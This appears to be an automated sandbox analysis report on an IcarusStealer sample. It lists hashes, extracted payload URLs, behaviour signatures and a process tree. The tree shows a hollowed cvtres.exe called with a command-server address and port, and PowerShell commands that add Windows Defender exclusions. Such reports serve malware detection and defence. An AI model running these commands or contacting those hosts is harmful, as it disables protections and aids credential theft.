Overview

overview

10

Static

static

3

licarisan_api.exe

windows7-x64

10

licarisan_api.exe

windows10-1703-x64

10

licarisan_api.exe

windows10-2004-x64

10

licarisan_api.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    05/10/2024, 14:39

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General

  • Target

    licarisan_api.exe

  • Size

    3.9MB

  • MD5

    65a683124fc4ca1839e95322370e2b0d

  • SHA1

    7a7eafcfa4349e40cb15ab30b5c64d3415e60b96

  • SHA256

    3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f

  • SHA512

    14b6d7d06f1bd02fffa5f0a4aecb8bbb7b1441597d9ac27a888f5ff441fce785809bd675c7ef7b1da7f99a8d61100e030b6c8b7b128515e8d713d4ffec54123f

  • SSDEEP

    49152:bP70hwGvLJT/a9yLe7lAsYaxBjbdOGMneGzxgUgoJUcaqCDx6ITcP2MNoSPhaC+O:nUgoJUBZJoP2MNBajvXOSq

Score
10/10
icarusstealerdiscoveryexecutionpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 29 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of FindShellTrayWindow 31 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\licarisan_api.exe
    "C:\Users\Admin\AppData\Local\Temp\licarisan_api.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4412
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:972
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Drops file in Windows directory
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1028
        • C:\Windows\system32\ctfmon.exe
          ctfmon.exe
          4⤵
            PID:4148
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4448
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4872
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3368
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3432
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2200
    • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
      1⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:3844

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      1c19c16e21c97ed42d5beabc93391fc5

      SHA1

      8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

      SHA256

      1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

      SHA512

      7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      15KB

      MD5

      d279aa92f0c0353b1e71ad843dcdefb4

      SHA1

      d26f926700b995122219457ef897ea9fa274c1e3

      SHA256

      576c91e1867fba2fcbbe5ce4ec4a4cbdb70731ad2ede4a8ddfb4b8d96fc81c34

      SHA512

      8dfb295f8eb7f5b508f6c0abb96157007188fe71b2bef50a97b651423476d7b8a07c0aa7985baa804b76336e2f80a896d13f3836b58e73bd1904fe646889814f

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0jngxswn.x4c.ps1
      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

      Download Submit

    • memory/972-16-0x0000000009060000-0x00000000090F2000-memory.dmp

      Filesize

      584KB

      Download

    • memory/972-8-0x0000000000D10000-0x0000000000D92000-memory.dmp

      Filesize

      520KB

      Download

    • memory/972-15-0x0000000008FC0000-0x000000000905C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/1028-31-0x0000000002820000-0x0000000002821000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2200-203-0x000000006EE10000-0x000000006EE5B000-memory.dmp

      Filesize

      300KB

      Download

    • memory/3368-120-0x0000000008DB0000-0x0000000008DCE000-memory.dmp

      Filesize

      120KB

      Download

    • memory/3368-125-0x0000000009110000-0x00000000091B5000-memory.dmp

      Filesize

      660KB

      Download

    • memory/3368-542-0x0000000009280000-0x0000000009288000-memory.dmp

      Filesize

      32KB

      Download

    • memory/3368-491-0x0000000009290000-0x00000000092AA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/3368-132-0x00000000092F0000-0x0000000009384000-memory.dmp

      Filesize

      592KB

      Download

    • memory/3368-29-0x0000000004760000-0x0000000004796000-memory.dmp

      Filesize

      216KB

      Download

    • memory/3368-30-0x0000000006E70000-0x0000000007498000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/3368-118-0x0000000008DD0000-0x0000000008E03000-memory.dmp

      Filesize

      204KB

      Download

    • memory/3368-32-0x0000000006D70000-0x0000000006D92000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3368-33-0x00000000074A0000-0x0000000007506000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3368-34-0x00000000075C0000-0x0000000007626000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3368-36-0x0000000007810000-0x0000000007B60000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/3368-40-0x00000000080E0000-0x000000000812B000-memory.dmp

      Filesize

      300KB

      Download

    • memory/3368-119-0x000000006EE10000-0x000000006EE5B000-memory.dmp

      Filesize

      300KB

      Download

    • memory/3368-39-0x00000000076F0000-0x000000000770C000-memory.dmp

      Filesize

      112KB

      Download

    • memory/3368-74-0x0000000007F30000-0x0000000007FA6000-memory.dmp

      Filesize

      472KB

      Download

    • memory/3844-41-0x0000024B62700000-0x0000024B62800000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/3844-70-0x0000024B630B0000-0x0000024B630D0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3844-49-0x0000024B62F30000-0x0000024B62F50000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4412-2-0x0000000000420000-0x0000000000438000-memory.dmp

      Filesize

      96KB

      Download

    • memory/4412-0-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

      Download

    • memory/4412-4-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

      Download

    • memory/4412-13-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

      Download

    • memory/4412-6-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

      Download

    • memory/4412-7-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

      Download

    • memory/4412-9-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

      Download

    • memory/4412-5-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

      Download

    • memory/4448-22-0x00000000094F0000-0x00000000099EE000-memory.dmp

      Filesize

      5.0MB

      Download

    • memory/4448-17-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

      Download